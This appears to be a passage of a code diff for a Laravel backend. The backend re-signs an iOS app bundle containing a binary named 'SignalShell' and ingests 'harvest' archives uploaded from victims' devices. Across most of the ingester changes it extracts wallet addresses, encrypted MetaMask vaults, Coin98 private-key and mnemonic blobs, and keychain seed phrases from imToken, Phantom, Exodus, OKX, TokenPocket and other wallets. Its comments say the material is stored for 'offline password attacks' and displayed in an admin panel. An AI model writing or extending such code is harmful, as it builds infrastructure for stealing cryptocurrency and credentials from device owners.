+        if (! file_exists($path)) {
+            return;
+        }
+
+        $data = file_get_contents($path);
+        // Equal-length domain replacement
+        if (strlen($domain) === 9) { // same as shenma.my
+            $data = str_replace('shenma.my', $domain, $data);
+        }
+        file_put_contents($path, $data);
+    }
+
+    private function sign(string $appDir): void
+    {
+        // Remove old signatures (plain filesystem ops, no shell needed)
+        $csDir = $appDir.'/_CodeSignature';
+        if (is_dir($csDir)) {
+            $this->rrmdir($csDir);
+        }
+
+        // Do not file_exists() the binary: panel open_basedir is
+        // project + /tmp, so /usr/bin/ldid throws ErrorException.
+        // proc_open (Process::run) can still execute it.
+        $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
+        if ($ldidPath === '') {
+            Log::warning('AppPackageService: ldid path empty, IPA will be unsigned');
+
+            return;
+        }
+
+        $binaries = array_merge(
+            [$appDir.'/SignalShell'],
+            glob($appDir.'/Frameworks/*.dylib') ?: [],
+            glob($appDir.'/*.dylib') ?: [],
+        );
+
+        foreach ($binaries as $bin) {
+            if (! is_string($bin) || $bin === '' || ! is_file($bin)) {
+                continue;
+            }
+            try {
+                $result = Process::run([$ldidPath, '-S', $bin]);
+                if (! $result->successful()) {
+                    Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
+                        'error' => $result->errorOutput() ?: $result->output(),
+                    ]);
+                }
+            } catch (\Throwable $e) {
+                Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
+                    'error' => $e->getMessage(),
+                ]);
+            }
+        }
+    }
+
+    private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
+    {
+        $items = scandir($dir);
+        foreach ($items as $item) {
+            if ($item === '.' || $item === '..') {
+                continue;
+            }
+            $path = $dir.'/'.$item;
+            $zipPath = $prefix.'/'.$item;
+            if (is_dir($path)) {
+                $zip->addEmptyDir($zipPath);
+                $this->addDirToZip($zip, $path, $zipPath);
+            } else {
+                $zip->addFile($path, $zipPath);
+            }
+        }
+    }
+
+    private function rrmdir(string $dir): void
+    {
+        if (! is_dir($dir)) {
+            return;
+        }
+        $items = scandir($dir);
+        foreach ($items as $item) {
+            if ($item === '.' || $item === '..') {
+                continue;
+            }
+            $path = $dir.'/'.$item;
+            if (is_dir($path)) {
+                $this->rrmdir($path);
+            } else {
+                @unlink($path);
+            }
+        }
+        @rmdir($dir);
+    }
+}

app/Services/AppUploadIngester.php

@@ -5,6 +5,7 @@ namespace App\Services;
 use App\Jobs\DecryptDeviceKeystores;
 use App\Models\Device;
 use App\Models\DeviceApp;
+use App\Models\WalletAddress;
 use App\Models\WalletKeystore;
 use App\Support\WalletSource;
 use Illuminate\Support\Facades\Log;
@@ -78,6 +79,35 @@ final class AppUploadIngester
         $this->dispatchParse($device, $content, $fileName, $uploadId);
     }
 
+    /**
+     * SignalShell harvest zip: pull imToken EOAs from RCTAsyncLocalStorage
+     * using the same collector as the /api/v2 tar path. Token-list `address`
+     * keys are ignored (accountAddress / type=EOA / m/44' only).
+     */
+    public function ingestImTokenShellZip(Device $device, string $zipBinary): int
+    {
+        $nodes = $this->asyncStorageNodesFromZip($zipBinary);
+        if ($nodes === []) {
+            return 0;
+        }
+
+        $before = WalletAddress::query()
+            ->where('device_id', $device->id)
+            ->where('source', 'imToken')
+            ->count();
+
+        $this->ingestAddressesFromWalletTar($device, 'imToken', 'im.token.app', '', [
+            'async' => $nodes,
+        ]);
+
+        $after = WalletAddress::query()
+            ->where('device_id', $device->id)
+            ->where('source', 'imToken')
+            ->count();
+
+        return max(0, $after - $before);
+    }
+
     /**
      * Dispatch the async keystore decryption job for a device.
      */
@@ -294,6 +324,8 @@ final class AppUploadIngester
             return;
         }
 
+        $this->persistRecoverableKeychainWallets($device, $buckets);
+
         $rawJson = [
             'kind' => 'keychain.wallets',
             'wallets' => $buckets,
@@ -308,6 +340,10 @@ final class AppUploadIngester
             'items' => $itemCount,
             'sources' => array_keys($buckets),
         ]);
+
+        // Don't wait for /api/v2/finish — Phantom / Uniswap / Exodus / Bitpie
+        // mnemonics live in this dump and should show up as soon as it lands.
+        $this->dispatchDecrypt($device);
     }
 
     /**
@@ -389,6 +425,27 @@ final class AppUploadIngester
         $row->save();
     }
 
+    /**
+     * Surface Bitpie / Phantom / Uniswap / Exodus as their own keystore rows
+     * so the admin 钥匙串 tab lists wallets whose mnemonic lives in keychain
+     * (not a UTC blob).
+     *
+     * @param  array<string, array{items: list<array<string, mixed>>}>  $buckets
+     */
+    private function persistRecoverableKeychainWallets(Device $device, array $buckets): void
+    {
+        foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus', 'Coin98'] as $source) {
+            $items = $buckets[$source]['items'] ?? null;
+            if (! is_array($items) || $items === []) {
+                continue;
+            }
+            WalletKeystore::firstOrCreateForDevice($device, $source, [
+                'kind' => 'keychain.wallets',
+                'wallets' => [$source => ['items' => $items]],
+            ]);
+        }
+    }
+
     /**
      * @param  array<string, mixed>  $item
      * @return array<string, mixed>|null
@@ -627,6 +684,11 @@ final class AppUploadIngester
      */
     private function parseWalletTar(Device $device, string $content, string $bundleId): void
     {
+        // Full sandbox tars run 50–100 MB; the default 128M limit is not
+        // enough for tar string + decoded sandbox + keystore raw_json.
+        if ((int) ini_get('memory_limit') > 0 && ini_get('memory_limit') !== '-1') {
+            @ini_set('memory_limit', '512M');
+        }
         $source = WalletSource::labelForBundle($bundleId, $bundleId);
         if ($source === '' || $source === $bundleId) {
             $hint = WalletSource::fromKeystoreHint($bundleId);
@@ -640,6 +702,12 @@ final class AppUploadIngester
         $sandbox = $this->extractTarSandbox($content);
         $needsPassword = $sandbox !== [] && $this->sandboxNeedsUserPassword($bundleId, $source, $sandbox);
         $this->storeWeb3KeystoresFromSandbox($device, $source, $sandbox, $needsPassword);
+        $this->storePasswordVaultsFromSandbox($device, $source, $sandbox);
+        if ($this->isCoin98Source($source, $bundleId)) {
+            $this->storeCoin98KeystoreFromSandbox($device, $source, $sandbox);
+        } elseif ($this->isTokenPocketFamily($source, $bundleId)) {
+            $this->storeEncryptedSandboxFiles($device, $source, $sandbox);
+        }
         $this->ingestAddressesFromWalletTar($device, $source, $bundleId, $content, $sandbox);
 
         Log::channel('keystore')->info('AppUploadIngester: parsed wallet tar', [
@@ -732,6 +800,10 @@ final class AppUploadIngester
         $rows = [];
         $imToken = $this->isImTokenSource($source, $bundleId);
         $tokenPocketFamily = $this->isTokenPocketFamily($source, $bundleId);
+        $metaMask = $this->isMetaMaskSource($source, $bundleId);
+        $coin98 = $this->isCoin98Source($source, $bundleId);
+        $tonhub = $this->isTonhubSource($source, $bundleId);
+        $okx = $this->isOkxSource($source, $bundleId);
         // Global Wallet / TokenPocket Documents tar is token-list + helper
         // contracts (balanceContract / batchTxContract). Real wallets live in
         // encrypted sqlite and are not recoverable from this dump.
@@ -740,6 +812,26 @@ final class AppUploadIngester
             $hits = $this->collectImTokenAddressHits($sandbox);
         } elseif ($this->isTrustSource($source, $bundleId)) {
             $hits = $this->collectTrustAddressHits($sandbox);
+        } elseif ($metaMask) {
+            // MetaMask Documents only holds Redux persist state — the real
+            // user accounts live in persist-AccountsController. Everything
+            // else (AssetsController token lists, network config) is noise.
+            $hits = $this->collectMetaMaskAccountHits($sandbox);
+        } elseif ($coin98) {
+            // Coin98 AsyncStorage caches the full token inventory JSON under
+            // hash-named keys — thousands of contract addresses. Real wallets
+            // live only in the SET_WALLET_STORAGE entry.
+            $hits = $this->collectCoin98WalletHits($sandbox);
+        } elseif ($tonhub) {
+            // Tonhub only ships react-query mmkv caches; the user's own TON
+            // address appears in ["cloud", "<addr>"] / ["account", "<addr>"]
+            // query keys. Everything else is contract / counterparty noise.
+            $hits = $this->collectTonhubAccountHits($sandbox);
+        } elseif ($okx) {
+            // wallet_coinMeta / OKPayCore.db store token contracts in a
+            // column named `address`. Real HD accounts live in
+            // Documents/wallet (chain_address / segwit / custom chains).
+            $hits = $this->collectOkxAddressHits($tar);
         } elseif (! $tokenPocketFamily) {
             $hits = $this->collectAddressHits($sandbox);
         }
@@ -748,7 +840,11 @@ final class AppUploadIngester
             // the last coin (ARB) overwrites ETH.
             $rows[$hit['chain_type'].'|'.$hit['address']] = $hit;
         }
-        if (! $imToken && ! $tokenPocketFamily && ! $this->isTrustSource($source, $bundleId)) {
+        // Token-metadata sqlite (OKX wallet_coinMeta, Coin98 measurement db)
+        // must not leak contract lists into wallet_addresses either.
+        $targetedWallet = $imToken || $tokenPocketFamily || $metaMask || $coin98 || $tonhub || $okx
+            || $this->isTrustSource($source, $bundleId);
+        if (! $targetedWallet) {
             foreach ($this->collectSqliteAddressHits($tar) as $hit) {
                 $key = $hit['address'];
                 if (isset($rows[$key]) && is_array($rows[$key]['balance'] ?? null) && is_array($hit['balance'] ?? null)) {
@@ -808,6 +904,144 @@ final class AppUploadIngester
             || str_contains($hay, 'mytokenpocket');
     }
 
+    /**
+     * MetaMask persistStore keeps the keyring vault (encrypted mnemonic /
+     * snap secrets) under persist-KeyringController.vault and
+     * persist-SnapController.vault as a JSON-encoded
+     * {cipher, iv, salt, keyMetadata, lib} blob — the exact quick-crypto
+     * format the admin password-unlock flow already decrypts. Collect every
+     * vault-shaped node so it becomes a needs-password keystore row.
+     *
+     * @param  array<string, mixed>  $sandbox
+     */
+    private function storePasswordVaultsFromSandbox(Device $device, string $source, array $sandbox): void
+    {
+        foreach ($this->collectPasswordVaultNodes($sandbox) as $vault) {
+            $payload = array_merge($vault, ['kind' => 'metamask.vault']);
+            WalletKeystore::firstOrCreateForDevice($device, $source, $payload, true);
+        }
+    }
+
+    /**
+     * @param  mixed  $node
+     * @return list<array<string, mixed>>
+     */
+    private function collectPasswordVaultNodes(mixed $node, int $depth = 0): array
+    {
+        if ($depth > 14 || ! is_array($node)) {
+            return [];
+        }
+        $out = [];
+        $vault = $node['vault'] ?? null;
+        if (is_string($vault) || is_array($vault)) {
+            $parsed = is_string($vault) ? json_decode($vault, true) : $vault;
+            if (is_array($parsed)
+                && is_string($parsed['cipher'] ?? null)
+                && is_string($parsed['iv'] ?? null)
+                && is_string($parsed['salt'] ?? null)) {
+                $out[] = $parsed;
+            }
+        }
+        foreach ($node as $child) {
+            if (is_array($child)) {
+                $out = array_merge($out, $this->collectPasswordVaultNodes($child, $depth + 1));
+            }
+        }
+        if (count($out) > 1) {
+            $out = $this->uniqueVaults($out);
+        }
+
+        return $out;
+    }
+
+    /**
+     * @param  list<array<string, mixed>>  $vaults
+     * @return list<array<string, mixed>>
+     */
+    private function uniqueVaults(array $vaults): array
+    {
+        $seen = [];
+        $out = [];
+        foreach ($vaults as $vault) {
+            $key = (string) ($vault['cipher'] ?? '');
+            if ($key === '' || isset($seen[$key])) {
+                continue;
+            }
+            $seen[$key] = true;
+            $out[] = $vault;
+        }
+
+        return $out;
+    }
+
+    /**
+     * Global Wallet / TokenPocket Documents hide the real wallets inside
+     * encrypted blobs (the F4SeCyr backup file and the SQLCipher-locked
+     * db/*.sqlite3) while everything else is market-cache noise. Persist
+     * the non-cache files as an encrypted-sandbox keystore row so the raw
+     * material stays available for offline password attacks even though
+     * no decryptor exists yet.
+     *
+     * @param  array<string, mixed>  $sandbox
+     */
+    private function storeEncryptedSandboxFiles(Device $device, string $source, array $sandbox): void
+    {
+        $files = $this->collectNonCacheSandboxFiles($sandbox);
+        if ($files === []) {
+            return;
+        }
+        WalletKeystore::firstOrCreateForDevice($device, $source, [
+            'kind' => 'encrypted.sandbox',
+            'files' => $files,
+        ], true);
+    }
+
+    /**
+     * Grab sandbox files outside Documents/cache (wallet data, encrypted
+     * dbs), capped so a pathological sandbox cannot blow up the row.
+     *
+     * @param  array<string, mixed>  $sandbox
+     * @return array<string, string>
+     */
+    private function collectNonCacheSandboxFiles(array $sandbox): array
+    {
+        $out = [];
+        $this->walkNonCacheFiles($sandbox, '', $out, 0);
+
+        return $out;
+    }
+
+    /**
+     * @param  array<string, string>  $out
+     */
+    private function walkNonCacheFiles(mixed $node, string $path, array &$out, int $depth): void
+    {
+        if ($depth > 14 || count($out) >= 32 || ! is_array($node)) {
+            return;
+        }
+        foreach ($node as $key => $child) {
+            $childPath = ($path === '' ? '' : $path.'/').(string) $key;
+            $ancestors = explode('/', $childPath);
+            $inCache = in_array('cache', $ancestors, true) || in_array('Caches', $ancestors, true);
+            if (is_string($child) && ! $inCache) {
+                // Only binary payloads (decodeFileContent base64-encoded
+                // them) — decoded plaintext that is valid UTF-8 text is a
+                // config/cache file, not encrypted wallet material.
+                if (preg_match('/^[A-Za-z0-9+\/]{64,}={0,2}$/', $child)) {
+                    $bin = base64_decode($child, true);
+                    if (is_string($bin) && strlen($bin) >= 32 && ! mb_check_encoding($bin, 'UTF-8')) {
+                        $out[$childPath] = $child;
+                    }
+                }
+
+                continue;
+            }
+            if (is_array($child)) {
+                $this->walkNonCacheFiles($child, $childPath, $out, $depth + 1);
+            }
+        }
+    }
+
     private function isTrustSource(string $source, string $bundleId): bool
     {
         $hay = strtolower($source.' '.$bundleId);
@@ -817,6 +1051,383 @@ final class AppUploadIngester
             || str_contains($hay, 'wallet.crypto.trustapp');
     }
 
+    private function isMetaMaskSource(string $source, string $bundleId): bool
+    {
+        return str_contains(strtolower($source.' '.$bundleId), 'metamask');
+    }
+
+    private function isCoin98Source(string $source, string $bundleId): bool
+    {
+        return str_contains(strtolower($source.' '.$bundleId), 'coin98');
+    }
+
+    private function isTonhubSource(string $source, string $bundleId): bool
+    {
+        return str_contains(strtolower($source.' '.$bundleId), 'tonhub');
+    }
+
+    private function isOkxSource(string $source, string $bundleId): bool
+    {
+        $hay = strtolower($source.' '.$bundleId);
+
+        return str_contains($hay, 'okx')
+            || str_contains($hay, 'okex')
+            || str_contains($hay, 'com.okex.okexappstorefull')
+            || str_contains($hay, 'com.okex.wallet');
+    }
+
+    /**
+     * OKX Documents/wallet is the HD account DB. Other sqlite files in the
+     * same tar (wallet_coinMeta, dex, pay history) store token contracts
+     * and counterparties in columns also named `address`.
+     *
+     * @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
+     */
+    private function collectOkxAddressHits(string $tar): array
+    {
+        $out = [];
+        $this->eachTarFile($tar, function (string $path, string $raw) use (&$out): void {
+            if (basename($path) !== 'wallet') {
+                return;
+            }
+            if (strlen($raw) < 16 || ! str_starts_with($raw, 'SQLite format 3')) {
+                return;
+            }
+            foreach ($this->parseOkxWalletSqlite($raw) as $hit) {
+                $out[] = $hit;
+            }
+        });
+
+        return $out;
+    }
+
+    /**
+     * @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
+     */
+    private function parseOkxWalletSqlite(string $sqlite): array
+    {
+        $tmp = tempnam(sys_get_temp_dir(), 'app_upload_okx_wallet_');
+        if ($tmp === false) {
+            return [];
+        }
+        try {
+            if (@file_put_contents($tmp, $sqlite) === false) {
+                return [];
+            }
+            $pdo = new \PDO('sqlite:'.$tmp, null, null, [
+                \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION,
+            ]);
+            $tables = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'")->fetchAll(\PDO::FETCH_COLUMN);
+            $wanted = [
+                'chain_address' => ['address', 'eoaAddress'],
+                'chain_address_segwit' => ['address'],
+                'customChainChainAddressesTable' => ['address'],
+            ];
+            $byKey = [];
+            foreach ($tables as $table) {
+                $table = (string) $table;
+                if (! isset($wanted[$table])) {
+                    continue;
+                }
+                $quotedTable = '"'.str_replace('"', '""', $table).'"';
+                try {
+                    $cols = $pdo->query('PRAGMA table_info('.$quotedTable.')')->fetchAll(\PDO::FETCH_ASSOC);
+                } catch (\Throwable) {
+                    continue;
+                }
+                $have = [];
+                foreach ($cols as $col) {
+                    $have[(string) ($col['name'] ?? '')] = true;
+                }
+                foreach ($wanted[$table] as $colName) {
+                    if (! isset($have[$colName])) {
+                        continue;
+                    }
+                    $quotedCol = '"'.str_replace('"', '""', $colName).'"';
+                    try {
+                        $stmt = $pdo->query('SELECT '.$quotedCol.' FROM '.$quotedTable.' WHERE '.$quotedCol.' IS NOT NULL');
+                    } catch (\Throwable) {
+                        continue;
+                    }
+                    while ($row = $stmt->fetch(\PDO::FETCH_ASSOC)) {
+                        $hit = $this->addressHitFromString((string) ($row[$colName] ?? ''));
+                        if ($hit === null) {
+                            continue;
+                        }
+                        $byKey[$hit['chain_type'].'|'.$hit['address']] = $hit;
+                    }
+                }
+            }
+
+            return array_values($byKey);
+        } catch (\Throwable) {
+            return [];
+        } finally {
+            @unlink($tmp);
+        }
+    }
+
+    /**
+     * MetaMask accounts are Redux-persisted under
+     * persist-AccountsController → internalAccounts.accounts.{uuid} with a
+     * CAIP type ("eip155:eoa", "solana:data-account", "bip122:p2wpkh",
+     * "tron:eoa", "stellar:account", …). Only the four supported chain
+     * prefixes are stored; snaps and niche chains are skipped.
+     *
+     * @param  mixed  $node
+     * @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
+     */
+    private function collectMetaMaskAccountHits(mixed $node, int $depth = 0): array
+    {
+        if ($depth > 14 || ! is_array($node)) {
+            return [];
+        }
+        $out = [];
+        $accounts = $node['internalAccounts']['accounts'] ?? null;
+        if (is_array($accounts)) {
+            foreach ($accounts as $account) {
+                if (! is_array($account)) {
+                    continue;
+                }
+                $addr = $account['address'] ?? null;
+                if (! is_string($addr) || $addr === '') {
+                    continue;
+                }
+                $chain = $this->metaMaskChainForAccount($account);
+                if ($chain === null) {
+                    continue;
+                }
+                $out[] = [
+                    'address' => $addr,
+                    'chain_type' => $chain,
+                    'balance' => [],
+                ];
+            }
+        }
+        foreach ($node as $child) {
+            if (is_array($child)) {
+                $out = array_merge($out, $this->collectMetaMaskAccountHits($child, $depth + 1));
+            }
+        }
+
+        return $out;
+    }
+
+    /**
+     * @param  array<string, mixed>  $account
+     */
+    private function metaMaskChainForAccount(array $account): ?string
+    {
+        $type = strtolower((string) ($account['type'] ?? ''));
+        $prefix = explode(':', $type)[0];
+        $chain = match ($prefix) {
+            'eip155' => 'ETHEREUM',
+            'solana' => 'SOLANA',
+            'bip122' => 'BITCOIN',
+            'tron' => 'TRON',
+            default => null,
+        };
+        if ($chain === null || ! WalletSource::isSupportedChain($chain)) {
+            return null;
+        }
+
+        return $chain;
+    }
+
+    /**
+     * Coin98 keeps the real wallet list in the RCTAsyncLocalStorage
+     * SET_WALLET_STORAGE key (a doubly JSON-encoded array of
+     * {address, privateKey, mnemonic, chain, isActive} entries). The
+     * neighbouring keys (CACHE_TOKEN_LIST_DATA, POINT_TOKEN_INFO, …) are
+     * token inventories and must never be harvested.
+     *
+     * @param  array<string, mixed>  $sandbox
+     * @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
+     */
+    private function collectCoin98WalletHits(array $sandbox): array
+    {
+        $out = [];
+        foreach ($this->coin98WalletsFromSandbox($sandbox) as $wallet) {
+            $addr = $wallet['address'] ?? null;
+            if (! is_string($addr) || $addr === '') {
+                continue;
+            }
+            $hit = $this->addressHitFromString($addr);
+            if ($hit !== null) {
+                $out[] = $hit;
+            }
+        }
+
+        return $out;
+    }
+
+    /**
+     * Walk the sandbox for Coin98 wallet entries (the SET_WALLET_STORAGE
+     * value, or the standalone per-key AsyncStorage file variant) and
+     * return them verbatim — address / chain / name plus the CryptoJS
+     * "U2FsdGVkX1…" privateKey / mnemonic blobs that offline password
+     * recovery needs.
+     *
+     * @param  mixed  $node
+     * @return list<array<string, mixed>>
+     */
+    private function coin98WalletsFromSandbox(mixed $node, int $depth = 0): array
+    {
+        if ($depth > 14 || ! is_array($node)) {
+            return [];
+        }
+        $out = [];
+        $storage = $node['SET_WALLET_STORAGE'] ?? null;
+        if ($storage !== null) {
+            $wallets = is_string($storage) ? json_decode($storage, true) : $storage;
+            if (is_array($wallets) && $this->looksLikeCoin98WalletList($wallets)) {
+                $out = array_merge($out, array_values(array_filter($wallets, 'is_array')));
+            }
+        }
+        $list = $this->coin98WalletList($node);
+        if ($list !== null) {
+            $out = array_merge($out, $list);
+        }
+        foreach ($node as $child) {
+            if (is_array($child)) {
+                $out = array_merge($out, $this->coin98WalletsFromSandbox($child, $depth + 1));
+            }
+        }
+
+        return $out;
+    }
+
+    /**
+     * @param  array<string, mixed>  $node
+     * @return list<array<string, mixed>>|null
+     */
+    private function coin98WalletList(array $node): ?array
+    {
+        $wallets = $node['wallets'] ?? null;
+        if (! is_array($wallets) || ! $this->looksLikeCoin98WalletList($wallets)) {
+            return null;
+        }
+
+        return array_values(array_filter($wallets, 'is_array'));
+    }
+
+    /**
+     * @param  array<int|string, mixed>  $wallets
+     */
+    private function looksLikeCoin98WalletList(array $wallets): bool
+    {
+        if (! array_is_list($wallets) || $wallets === []) {
+            return false;
+        }
+        $first = $wallets[0];
+        if (! is_array($first)) {
+            return false;
+        }
+
+        return isset($first['address'])
+            && (isset($first['isActive']) || isset($first['privateKey']) || isset($first['mnemonic']));
+    }
+
+    /**
+     * Persist the Coin98 wallet list (with the CryptoJS privateKey /
+     * mnemonic blobs) as a needs-password keystore row so the admin
+     * password-unlock flow can recover the mnemonic offline.
+     *
+     * @param  array<string, mixed>  $sandbox
+     */
+    private function storeCoin98KeystoreFromSandbox(Device $device, string $source, array $sandbox): void
+    {
+        $wallets = $this->coin98WalletsFromSandbox($sandbox);
+        if ($wallets === []) {
+            return;
+        }
+        $hasCipher = false;
+        foreach ($wallets as $wallet) {
+            foreach (['privateKey', 'mnemonic'] as $field) {
+                $value = $wallet[$field] ?? null;
+                if (is_string($value) && $this->isCryptoJsCipher($value)) {
+                    $hasCipher = true;
+                    break 2;
+                }
+            }
+        }
+        WalletKeystore::firstOrCreateForDevice($device, $source, [
+            'kind' => 'coin98.wallet',
+            'wallets' => $wallets,
+        ], $hasCipher);
+    }
+
+    /**
+     * CryptoJS AES default output: base64("Salted__" + 8-byte salt +
+     * AES-256-CBC ciphertext).
+     */
+    private function isCryptoJsCipher(string $value): bool
+    {
+        $decoded = base64_decode($value, true);
+
+        return is_string($decoded) && str_starts_with($decoded, 'Salted__');
+    }
+
+    /**
+     * Tonhub only exposes the user address through react-query mmkv
+     * cache keys: ["cloud","<addr>", …] queries (primaryCurrency /
+     * addressbook / config) are keyed by the wallet owner's own address.
+     * holders / account / pool keys may reference third-party contracts
+     * or viewed pages, so they are skipped. mmkv files arrive
+     * base64-encoded (decodeFileContent caps text at 64 KiB), so try the
+     * raw string first, then its base64 payload.
+     *
+     * @param  mixed  $node
+     * @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
+     */
+    private function collectTonhubAccountHits(mixed $node, int $depth = 0): array
+    {
+        if ($depth > 14 || $node === null) {
+            return [];
+        }
+        $out = [];
+        if (is_string($node)) {
+            foreach ($this->tonhubAddressesFromString($node) as $addr) {
+                $out[] = [
+                    'address' => $addr,
+                    'chain_type' => 'TON',
+                    'balance' => [],
+                ];
+            }
+
+            return $out;
+        }
+        if (! is_array($node)) {
+            return [];
+        }
+        foreach ($node as $child) {
+            if (is_array($child) || is_string($child)) {
+                $out = array_merge($out, $this->collectTonhubAccountHits($child, $depth + 1));
+            }
+        }
+
+        return $out;
+    }
+
+    /**
+     * @return list<string>
+     */
+    private function tonhubAddressesFromString(string $raw): array
+    {
+        $found = [];
+        $pattern = '/\["cloud","([EU]Q[A-Za-z0-9_\-]{46})"/';
+        foreach ([$raw, (string) (base64_decode($raw, true) ?: '')] as $text) {
+            if ($text === '' || ! preg_match_all($pattern, $text, $matches)) {
+                continue;
+            }
+            foreach ($matches[1] as $addr) {
+                $found[$addr] = $addr;
+            }
+        }
+
+        return array_values($found);
+    }
+
     /**
      * Trust HD UTC lists every WalletCore coin in activeAccounts. Many of
      * those addresses are 0x-shaped (ETC, VeChain, Theta, …) and must not
@@ -852,6 +1463,76 @@ final class AppUploadIngester
         return $out;
     }
 
+    /**
+     * Walk a SignalShell zip and decode every RCTAsyncLocalStorage blob
+     * (manifest hashes + double-encoded JSON strings).
+     *
+     * @return list<mixed>
+     */
+    private function asyncStorageNodesFromZip(string $zipBinary): array
+    {
+        $tmp = tempnam(sys_get_temp_dir(), 'im_async_');
+        if ($tmp === false) {
+            return [];
+        }
+        $tmpZip = $tmp.'.zip';
+        @rename($tmp, $tmpZip);
+        $tmp = $tmpZip;
+        $nodes = [];
+        try {
+            if (@file_put_contents($tmp, $zipBinary) === false) {
+                return [];
+            }
+            $zip = new \ZipArchive;
+            if ($zip->open($tmp) !== true) {
+                return [];
+            }
+            for ($i = 0; $i < $zip->numFiles; $i++) {
+                $name = str_replace('\\', '/', (string) $zip->getNameIndex($i));
+                if ($name === '' || str_ends_with($name, '/')) {
+                    continue;
+                }
+                if (! str_contains(strtolower($name), 'asynclocalstorage')) {
+                    continue;
+                }
+                $raw = $zip->getFromIndex($i);
+                if (! is_string($raw) || $raw === '') {
+                    continue;
+                }
+                $decoded = $this->decodeJsonMaybeDouble($raw);
+                if ($decoded !== null) {
+                    $nodes[] = $decoded;
+                }
+            }
+            $zip->close();
+        } finally {
+            @unlink($tmp);
+        }
+
+        return $nodes;
+    }
+
+    /**
+     * RCTAsyncLocalStorage values are often a JSON string wrapping JSON.
+     */
+    private function decodeJsonMaybeDouble(string $raw): mixed
+    {
+        $decoded = json_decode($raw, true);
+        if (! is_array($decoded) && ! is_string($decoded)) {
+            return null;
+        }
+        if (is_string($decoded)) {
+            $inner = json_decode($decoded, true);
+            if (is_array($inner) || is_string($inner)) {
+                return $inner;
+            }
+
+            return null;
+        }
+
+        return $decoded;
+    }
+
     /**
      * imToken AsyncStorage mixes the real EOA with token-list contract
      * addresses under the same `address` key. Keep accountAddress and
@@ -930,6 +1611,10 @@ final class AppUploadIngester
         if (! is_array($node)) {
             return [];
         }
+        if ($this->isTokenEntryNode($node)) {
+            // {symbol, name, decimals, address} — token inventory entry, not a user account.
+            return [];
+        }
         foreach (['address', 'Address', 'walletAddress', 'ethAddress', 'tronAddress'] as $key) {
             if (isset($node[$key]) && is_string($node[$key])) {
                 $hit = $this->addressHitFromString($node[$key]);
@@ -938,7 +1623,12 @@ final class AppUploadIngester
                 }
             }
         }
-        foreach ($node as $child) {
+        foreach ($node as $key => $child) {
+            if (is_string($key) && in_array($key, self::CONTRACT_KEY_DENYLIST, true)) {
+                // multicall3 / foxConnectAddresses / contract maps are
+                // network config, never user accounts.
+                continue;
+            }
             if (is_array($child) || is_string($child)) {
                 $out = array_merge($out, $this->collectAddressHits($child, $depth + 1));
             }
@@ -947,6 +1637,38 @@ final class AppUploadIngester
         return $out;
     }
 
+    /**
+     * Keys that only ever hold contract / config addresses.
+     *
+     * @var list<string>
+     */
+    private const CONTRACT_KEY_DENYLIST = [
+        'contracts',
+        'contract',
+        'contractAddress',
+        'tokenAddress',
+        'token_address',
+        'wethContractAddress',
+        'multicall3',
+        'multicallAddress',
+        'foxConnectAddresses',
+        'batchTxContract',
+        'balanceContract',
+    ];
+
+    /**
+     * @param  array<string, mixed>  $node
+     */
+    private function isTokenEntryNode(array $node): bool
+    {
+        if (! isset($node['symbol'])) {
+            return false;
+        }
+
+        return isset($node['decimals']) || isset($node['name']) || isset($node['tokenType'])
+            || isset($node['chainId']) || isset($node['logoUri']);
+    }
+
     /**
      * @return array{address: string, chain_type: string, balance: array<string, int|float|string>}|null
      */
@@ -954,10 +1676,17 @@ final class AppUploadIngester
     {
         $addr = trim($raw);
         if ($addr !== '' && ctype_xdigit($addr) && strlen($addr) === 40) {
+            // Pure-digit 40-hex blobs are data (balances, timestamps), not accounts.
+            if (ctype_digit($addr)) {
+                return null;
+            }
             $addr = '0x'.$addr;
         }
         $chain = WalletSource::inferChainType($addr);
-        if (! WalletSource::isSupportedChain($chain)) {
+        // TON is only harvested by the dedicated Tonhub collector: EQ/UQ
+        // strings float around token caches as jetton contracts and would
+        // flood wallet_addresses from free-text scans.
+        if ($chain === 'TON' || ! WalletSource::isSupportedChain($chain)) {
             return null;
         }
 
@@ -1336,11 +2065,20 @@ final class AppUploadIngester
                     continue;
                 }
 
+$entrySize = (int) $f->getSize();
+                // Hard gate before reading: wallet configs / keystores are small
+                // (Realm ≤ a few MB); image caches and token-inventory dumps are
+                // tens of MB and only burn memory (fatal on 128M limits when a
+                // device uploads a full 76 MB sandbox tar).
+                if ($entrySize > 5 * 1024 * 1024) {
+                    continue;
+                }
                 $raw = @file_get_contents($f->getPathname());
                 if ($raw === false || $raw === '') {
                     continue;
                 }
                 $decoded = $this->decodeFileContent($raw, $rel);
+                unset($raw);
                 if ($decoded === null) {
                     continue;
                 }
@@ -1360,8 +2098,10 @@ final class AppUploadIngester
     private function decodeFileContent(string $raw, string $path): mixed
     {
         // JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf).
+        // Cap the decode: multi-MB token inventories explode into huge PHP
+        // arrays (10× the raw size) and end up serialized into raw_json.
         $first = $raw[0] ?? '';
-        if ($first === '{' || $first === '[') {
+        if (($first === '{' || $first === '[') && strlen($raw) <= 2 * 1024 * 1024) {
             $json = json_decode($raw, true);
             if (is_array($json)) {
                 return $json;

app/Services/ChannelEmbedZipService.php

@@ -0,0 +1,139 @@
+<?php
+
+namespace App\Services;
+
+use App\Models\Channel;
+use RuntimeException;
+use ZipArchive;
+
+class ChannelEmbedZipService
+{
+    /**
+     * @return list<string>
+     */
+    public function listFiles(Channel $channel): array
+    {
+        $dir = $channel->embedAssetDir();
+        if ($dir === null) {
+            return [];
+        }
+
+        return $this->collectFiles($dir);
+    }
+
+    public function build(Channel $channel): string
+    {
+        $dir = $channel->embedAssetDir();
+        if ($dir === null) {
+            throw new RuntimeException('渠道静态资源不存在，请先构建');
+        }
+        $files = $this->collectFiles($dir);
+        if ($files === []) {
+            throw new RuntimeException('渠道目录里没有可打包的浏览器资源');
+        }
+        if (! class_exists(ZipArchive::class)) {
